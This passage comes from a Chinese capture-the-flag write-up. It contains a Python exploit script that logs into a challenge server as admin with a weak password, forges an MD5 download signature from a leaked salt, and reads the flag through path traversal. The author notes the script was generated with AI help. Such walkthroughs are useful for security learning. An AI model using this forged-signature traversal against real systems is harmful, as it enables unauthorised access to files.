print(f"[*] 下载URL响应内容: {response.text[:2000]}") # 只打印前2000字符避免过长
else:
print(f"[!] 下载URL访问失败,状态码: {response.status_code}")
print(f"[!] 响应内容: {response.text}")
print("-" * 80)
return response
except Exception as e:
raise RuntimeError(f"访问下载URL失败: {str(e)}")
if __name__ == "__main__":
# 创建会话对象(保持cookie、会话状态)
session = requests.Session()
# 1. 定义需要加密的原始密码
original_password = "123456"
print(f"[*] 原始密码: {original_password}")
print("-" * 80)
# 2. 使用RSA加密密码
try:
encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR)
print(f"[*] RSA加密后的密码: {encrypted_password}")
print("-" * 80)
except RuntimeError as e:
print(f"[!] 密码加密失败: {e}")
exit(1)
# 3. 发送登录请求(使用加密后的密码)并处理path访问
try:
login_response = send_login_request("admin", encrypted_password, session)
except Exception as e:
print(f"[!] 登录请求处理失败: {e}")
exit(1)
# 4. 访问指定的/download路径(携带登录后的会话信息)
try:
download_response = visit_download_url(session)
except Exception as e:
print(f"[!] 下载URL访问处理失败: {e}")
exit(1)

那既然可以下载app.jmx,那看看能不能直接下载flag
但好像并不行,既然得到了salt是不是要带上salt才可以访问
同时下面存在逻辑
def mingWen = vars.get('mingWen');
def firstMi = DigestUtils.md5Hex(mingWen);
def jieStr = firstMi.substring(5, 16);
def salt = vars.get('salt');
def newStr = firstMi + jieStr + salt;
def sign = DigestUtils.md5Hex(newStr);
vars.put('sign', sign);
直接丢给AI

import base64
import requests
import hashlib
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15
import re
# RSA公钥(用于密码加密)
PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
# 目标登录URL
TARGET_URL = "http://a12634de-e919-4a63-abe4-36035aff7b45.node5.buuoj.cn:81/login"
# 提取基础域名(用于拼接path)
BASE_DOMAIN = TARGET_URL.rsplit('/', 1)[0]
# 固定salt值
SALT = "f9bc855c9df15ba7602945fb939deefc"
def generate_sign(file_param: str, salt: str) -> str:
"""
根据指定逻辑生成sign值
:param file_param: file参数的值(明文)
:param salt: 固定的salt值
:return: 最终的sign值
"""
# 1. 计算file参数的MD5值(firstMi)
first_mi = hashlib.md5(file_param.encode('utf-8')).hexdigest()
print(f"[*] file参数MD5值 (firstMi): {first_mi}")
# 2. 截取firstMi的第5到16位(包含第5位,不包含第16位,共11位)
jie_str = first_mi[5:16]
print(f"[*] 截取的字符串 (jieStr): {jie_str} (位置5-16)")
# 3. 拼接新字符串:firstMi + jieStr + salt
new_str = first_mi + jie_str + salt
print(f"[*] 拼接后的字符串 (newStr): {new_str}")
# 4. 计算新字符串的MD5作为最终sign
sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()
print(f"[*] 最终生成的sign值: {sign}")
return sign
def rsa_encrypt_pkcs1v15_jseencrypt(plain_text: str, pub_key_str: str) -> str:
"""
模拟JSEncrypt的PKCS1_v1_5加密行为,返回Base64编码字符串
:param plain_text: 待加密的明文(字符串)
:param pub_key_str: Base64格式的RSA公钥(无PEM头尾部)
:return: Base64编码的加密结果
"""
try:
# 1. 补全PEM格式公钥(JSEncrypt默认使用这种格式)
pem_pub_key = (
"-----BEGIN PUBLIC KEY-----\n"
+ "\n".join([pub_key_str[i:i+64] for i in range(0, len(pub_key_str), 64)])
+ "\n-----END PUBLIC KEY-----"
)
# 2. 加载公钥
public_key = serialization.load_pem_public_key(
pem_pub_key.encode("utf-8"),
backend=default_backend()
)
# 3. 将明文转为字节(JSEncrypt默认使用UTF-8编码)
plain_bytes = plain_text.encode("utf-8")
# 4. PKCS1_v1_5加密(严格匹配JSEncrypt的填充规则)
encrypted_bytes = public_key.encrypt(
plain_bytes,
PKCS1v15() # 标准PKCS1 v1.5填充,与JSEncrypt完全一致
)
# 5. Base64编码(JSEncrypt使用标准Base64,无URL安全转换)
base64_encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")
return base64_encrypted
except Exception as e:
raise RuntimeError(f"加密失败: {str(e)}")
def extract_path_from_response(response_text: str) -> str:
"""
从响应内容中提取path(支持多种常见格式匹配)
:param response_text: 响应文本内容
:return: 提取到的path,无则返回空字符串
"""
# 匹配常见的path格式(可根据实际情况调整正则)
path_patterns = [
r'["\']path["\']\s*:\s*["\']([^"\']+)["\']', # "path": "/xxx/yyy"
r'["\']/[^"\']+["\']', # 匹配 "/xxx/yyy" 格式的path
r'\/[a-zA-Z0-9_\-\/]+', # 匹配 /xxx/yyy 格式的path
]
for pattern in path_patterns:
match = re.search(pattern, response_text)
if match:
path = match.group(1) if len(match.groups()) > 0 else match.group(0)
# 去除引号等多余字符
path = path.strip('"\'')
return path
return ""
def visit_path_url(path: str, base_domain: str, session: requests.Session = None) -> requests.Response:
"""
拼接path和基础域名,访问该URL并返回响应
:param path: 提取的path
:param base_domain: 基础域名
:param session: 可选的会话对象(保持cookie等状态)
:return: 响应对象
"""
if not path:
raise ValueError("path为空,无法拼接URL")
# 拼接URL(处理path开头是否有/的情况)
if path.startswith('/'):
full_url = base_domain + path
else:
full_url = f"{base_domain}/{path}"
# 移除重复的//
full_url = full_url.replace('//', '/').replace('http:/', 'http://')
print(f"\n[*] 拼接后的完整URL: {full_url}")
# 发送请求(复用请求头,保持会话一致性)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive"
}
try:
# 使用会话对象或普通请求,保持状态一致性
if session:
response = session.get(
full_url,
headers=headers,
timeout=10,
allow_redirects=True # 允许重定向
)
else:
response = requests.get(
full_url,
headers=headers,
timeout=10,
allow_redirects=True # 允许重定向
)
print(f"[*] URL访问状态码: {response.status_code}")
return response
except Exception as e:
raise RuntimeError(f"访问URL失败: {str(e)}")
def send_login_request(username, password, session: requests.Session):
"""
发送登录请求到目标URL,并处理path提取和URL访问
:param username: 登录用户名
:param password: 加密后的登录密码
:param session: 会话对象(保持cookie)
:return: 登录响应对象
"""
payload = {
"username": username,
"password": password
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Origin": BASE_DOMAIN,
"Referer": TARGET_URL
}
try:
print(f"[*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}")
response = session.post(
TARGET_URL,
data=payload,
headers=headers,
timeout=10
)
print(f"[*] 响应状态码: {response.status_code}")
print(f"[*] 响应内容: {response.text}")
print("-" * 80)
# 提取path
path = extract_path_from_response(response.text)
if path:
print(f"[*] 从响应中提取到path: {path}")
# 访问拼接后的URL
try:
path_response = visit_path_url(path, BASE_DOMAIN, session)
print(f"[*] URL访问响应内容: {path_response.text}")
print("-" * 80)
except Exception as e:
print(f"[!] 访问拼接URL失败: {e}")
else:
print("[*] 响应中未提取到有效path")
return response
except Exception as e:
print(f"[!] 发包失败: {e}")
print("-" * 80)
raise
def visit_download_url(session: requests.Session, file_param: str = "../../../../../../../../../flag"):
"""
访问/download路径,自动生成sign并携带会话信息
:param session: 登录后的会话对象
:param file_param: file参数的值,默认为读取flag的路径
:return: 下载请求的响应对象
"""
print("\n" + "="*80)
print("[*] 开始生成sign值")
print("="*80)
# 生成sign值
sign = generate_sign(file_param, SALT)
# 构建下载URL
DOWNLOAD_PATH = f"/download?file={file_param}&sign={sign}"
download_url = BASE_DOMAIN + DOWNLOAD_PATH
# 处理URL中的重复//问题
download_url = download_url.replace('//', '/').replace('http:/', 'http://')
print(f"\n[*] 准备访问下载URL: {download_url}")
print("-" * 80)
# 构造下载请求的请求头(模拟浏览器行为)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Referer": TARGET_URL,
"Upgrade-Insecure-Requests": "1"
}
try:
# 发送GET请求访问下载链接(保持会话)
response = session.get(
download_url,
headers=headers,
timeout=15,
allow_redirects=True,
stream=True # 支持大文件下载
)
print(f"[*] 下载URL访问状态码: {response.status_code}")
print(f"[*] 响应头信息: {response.headers}")
# 处理响应内容
if response.status_code == 200:
# 判断是否是文件下载
if 'Content-Disposition' in response.headers:
# 提取文件名并保存文件
content_disposition = response.headers.get('Content-Disposition', '')
filename = re.search(r'filename=["\']?([^"\']+)["\']?', content_disposition)
save_filename = filename.group(1) if filename else 'app.jmx'
# 保存文件到本地
with open(save_filename, 'wb') as f:
for chunk in response.iter_content(chunk_size=8192):
f.write(chunk)
print(f"[*] 文件下载成功,已保存为: {save_filename}")
else:
# 非文件下载,打印响应内容
print(f"[*] 下载URL响应内容: {response.text[:2000]}") # 只打印前2000字符避免过长
else:
print(f"[!] 下载URL访问失败,状态码: {response.status_code}")
print(f"[!] 响应内容: {response.text}")
print("-" * 80)
return response
except Exception as e:
raise RuntimeError(f"访问下载URL失败: {str(e)}")
if __name__ == "__main__":
# 创建会话对象(保持cookie、会话状态)
session = requests.Session()
# 1. 定义需要加密的原始密码
original_password = "123456"
print(f"[*] 原始密码: {original_password}")
print("-" * 80)
# 2. 使用RSA加密密码
try:
encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR)
print(f"[*] RSA加密后的密码: {encrypted_password}")
print("-" * 80)
except RuntimeError as e:
print(f"[!] 密码加密失败: {e}")
exit(1)
# 3. 发送登录请求(使用加密后的密码)并处理path访问
try:
login_response = send_login_request("admin", encrypted_password, session)
except Exception as e:
print(f"[!] 登录请求处理失败: {e}")
exit(1)
# 4. 访问/download路径,自动生成sign(携带登录后的会话信息)
try:
# 指定file参数值,自动生成对应的sign
file_param = "../../../../../../../../../flag"
download_response = visit_download_url(session, file_param)
except Exception as e:
print(f"[!] 下载URL访问处理失败: {e}")
exit(1)

得到flag文件



浙公网安备 33010602011771号